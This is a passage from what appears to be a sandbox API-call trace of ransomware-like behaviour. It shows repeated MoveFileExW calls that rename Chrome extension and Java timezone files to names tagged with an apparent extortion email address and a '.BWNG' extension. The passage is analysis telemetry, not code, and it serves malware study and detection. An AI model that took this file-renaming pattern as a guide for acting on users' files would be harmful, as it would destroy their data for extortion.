lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\[billwong73@yahoo.com].F8rYBsao-oBRoTfbr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\[billwong73@yahoo.com].f8rybsao-obrotfbr.bwng"), dwFlags=0x1) returned 1 [0123.146] GetTickCount () returned 0x11665d5 [0123.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26509852783) returned 1 [0123.147] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\[billwong73@yahoo.com].5Jv1T0t7-DKnNODi6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\[billwong73@yahoo.com].5jv1t0t7-dknnodi6.bwng"), dwFlags=0x1) returned 1 [0123.338] GetTickCount () returned 0x11666a0 [0123.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26529023929) returned 1 [0123.338] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\[billwong73@yahoo.com].SCN7GOgk-mZVt9sEH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\[billwong73@yahoo.com].scn7gogk-mzvt9seh.bwng"), dwFlags=0x1) returned 1 [0123.340] GetTickCount () returned 0x11666a0 [0123.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26529324201) returned 1 [0123.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\[billwong73@yahoo.com].00Tl4dNs-oJDZ8vpa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\[billwong73@yahoo.com].00tl4dns-ojdz8vpa.bwng"), dwFlags=0x1) returned 1 [0123.343] GetTickCount () returned 0x11666a0 [0123.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26529489764) returned 1 [0123.343] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\[billwong73@yahoo.com].SCOXyTye-a6NNKHCD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\[billwong73@yahoo.com].scoxytye-a6nnkhcd.bwng"), dwFlags=0x1) returned 1 [0123.344] GetTickCount () returned 0x11666a0 [0123.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26529634115) returned 1 [0123.344] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\[billwong73@yahoo.com].vjPuPuDV-qKzZcBzI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\[billwong73@yahoo.com].vjpupudv-qkzzcbzi.bwng"), dwFlags=0x1) returned 1 [0123.346] GetTickCount () returned 0x11666a0 [0123.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26529801125) returned 1 [0123.346] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\[billwong73@yahoo.com].f7R2HyvY-DuNgTnSh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\[billwong73@yahoo.com].f7r2hyvy-dungtnsh.bwng"), dwFlags=0x1) returned 1 [0123.347] GetTickCount () returned 0x11666a0 [0123.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26529965436) returned 1 [0123.348] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\macquarie"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].Jj0PaCju-Ili9Ix3V.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].jj0pacju-ili9ix3v.bwng"), dwFlags=0x1) returned 1 [0123.349] GetTickCount () returned 0x11666a0 [0123.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26530142202) returned 1 [0123.349] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Anadyr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\anadyr"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].HgYP9bw5-0no90pAD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].hgyp9bw5-0no90pad.bwng"), dwFlags=0x1) returned 1 [0123.351] GetTickCount () returned 0x11666af [0123.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26530352651) returned 1 [0123.352] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Brunei" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\brunei"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].9oER9m8v-1QRvPfyw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].9oer9m8v-1qrvpfyw.bwng"), dwFlags=0x1) returned 1 [0123.353] GetTickCount () returned 0x11666af [0123.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26530499159) returned 1 [0123.353] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Harbin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\harbin"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].lDOi4DAG-akK6iJE4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ldoi4dag-akk6ije4.bwng"), dwFlags=0x1) returned 1 [0123.354] GetTickCount () returned 0x11666af [0123.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26530647335) returned 1 [0123.354] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kamchatka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kamchatka"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].GvNQx6N2-pEq9M57e.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].gvnqx6n2-peq9m57e.bwng"), dwFlags=0x1) returned 1 [0123.356] GetTickCount () returned 0x11666af [0123.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26530778958) returned 1 [0123.356] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\[billwong73@yahoo.com].yMlI454M-pAEKiPLH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\[billwong73@yahoo.com].ymli454m-paekiplh.bwng"), dwFlags=0x1) returned 1 [0123.357] GetTickCount () returned 0x11666af [0123.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26530929271) returned 1 [0123.357] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Martinique" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\martinique"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].0lvo0I05-vbizMFJK.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].0lvo0i05-vbizmfjk.bwng"), dwFlags=0x1) returned 1 [0123.359] GetTickCount () returned 0x11666af [0123.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26531106123) returned 1 [0123.359] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Araguaina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\araguaina"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].ErT9twv0-y3u0VHdG.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ert9twv0-y3u0vhdg.bwng"), dwFlags=0x1) returned 1 [0123.360] GetTickCount () returned 0x11666af [0123.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26531260601) returned 1 [0123.361] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Macau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\macau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].4U1LmPWA-kSGpK4IS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].4u1lmpwa-ksgpk4is.bwng"), dwFlags=0x1) returned 1 [0123.362] GetTickCount () returned 0x11666af [0123.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26531418742) returned 1 [0123.362] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Phnom_Penh" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\phnom_penh"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].Z2MXhgPv-3LoFk8Hu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].z2mxhgpv-3lofk8hu.bwng"), dwFlags=0x1) returned 1 [0123.363] GetTickCount () returned 0x11666af [0123.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26531556148) returned 1 [0123.364] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\[billwong73@yahoo.com].pyKjcGMe-HFxaSVc8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\[billwong73@yahoo.com].pykjcgme-hfxasvc8.bwng"), dwFlags=0x1) returned 1 [0123.365] GetTickCount () returned 0x11666bf [0123.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26531745398) returned 1 [0123.365] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montevideo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\montevideo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].h2mX7JlS-LpJ30qH7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].h2mx7jls-lpj30qh7.bwng"), dwFlags=0x1) returned 1 [0123.367] GetTickCount () returned 0x11666bf [0123.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26531896392) returned 1 [0123.367] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\San_Luis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\san_luis"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].SbtBBqsE-LGkT1wI7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].sbtbbqse-lgkt1wi7.bwng"), dwFlags=0x1) returned 1 [0123.368] GetTickCount () returned 0x11666bf [0123.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532044931) returned 1 [0123.368] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belize" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\belize"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].SftQ7u3Y-NDsrVjgJ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].sftq7u3y-ndsrvjgj.bwng"), dwFlags=0x1) returned 1 [0123.370] GetTickCount () returned 0x11666bf [0123.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532194762) returned 1 [0123.370] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cayman"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].vwvGkpJT-k8gP9Rmy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].vwvgkpjt-k8gp9rmy.bwng"), dwFlags=0x1) returned 1 [0123.371] GetTickCount () returned 0x11666bf [0123.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532333372) returned 1 [0123.371] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Sakhalin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\sakhalin"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].7OFVXOmN-lBdgKoDY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].7ofvxomn-lbdgkody.bwng"), dwFlags=0x1) returned 1 [0123.372] GetTickCount () returned 0x11666bf [0123.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532468060) returned 1 [0123.373] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tokyo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].rwkPBzKN-ji1Nf9Ie.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].rwkpbzkn-ji1nf9ie.bwng"), dwFlags=0x1) returned 1 [0123.374] GetTickCount () returned 0x11666bf [0123.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532608723) returned 1 [0123.374] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\[billwong73@yahoo.com].0yKHdl9B-4hVcaP7F.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\[billwong73@yahoo.com].0ykhdl9b-4hvcap7f.bwng"), dwFlags=0x1) returned 1 [0123.375] GetTickCount () returned 0x11666bf [0123.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532750404) returned 1 [0123.375] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\[billwong73@yahoo.com].BV9TKxTX-EIEQKJVJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\[billwong73@yahoo.com].bv9tkxtx-eieqkjvj.bwng"), dwFlags=0x1) returned 1 [0123.377] GetTickCount () returned 0x11666bf [0123.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26532898941) returned 1 [0123.377] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\New_Salem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\new_salem"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\[billwong73@yahoo.com].vk9Kn3kj-NaNLI87N.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\[billwong73@yahoo.com].vk9kn3kj-nanli87n.bwng"), dwFlags=0x1) returned 1 [0123.378] GetTickCount () returned 0x11666bf [0123.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26533059606) returned 1 [0123.379] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Denver" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\denver"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].6GaJbVm7-BHCYEzu0.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].6gajbvm7-bhcyezu0.bwng"), dwFlags=0x1) returned 1 [0123.380] GetTickCount () returned 0x11666bf [0123.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26533209445) returned 1 [0123.380] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\bermuda"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].KLSO96Jl-RDTEaW3v.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].klso96jl-rdteaw3v.bwng"), dwFlags=0x1) returned 1 [0123.575] GetTickCount () returned 0x116678a [0123.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26552691720) returned 1 [0123.575] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\brisbane"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].1zS3qeKN-UZu0j5aA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].1zs3qekn-uzu0j5aa.bwng"), dwFlags=0x1) returned 1 [0123.576] GetTickCount () returned 0x116678a [0123.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26552874277) returned 1 [0123.577] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\[billwong73@yahoo.com].Bvor6Ti2-3v7jL2V3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\[billwong73@yahoo.com].bvor6ti2-3v7jl2v3.bwng"), dwFlags=0x1) returned 1 [0123.578] GetTickCount () returned 0x116678a [0123.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553026661) returned 1 [0123.578] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rainy_River" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\rainy_river"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].cOIuHy3r-bnWVtm5n.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].coiuhy3r-bnwvtm5n.bwng"), dwFlags=0x1) returned 1 [0123.579] GetTickCount () returned 0x116678a [0123.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26553161739) returned 1 [0123.580] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grand_Turk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\grand_turk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].NcgqciCB-C4fpoAfV.BWNG" (normalized: "c:\\program files 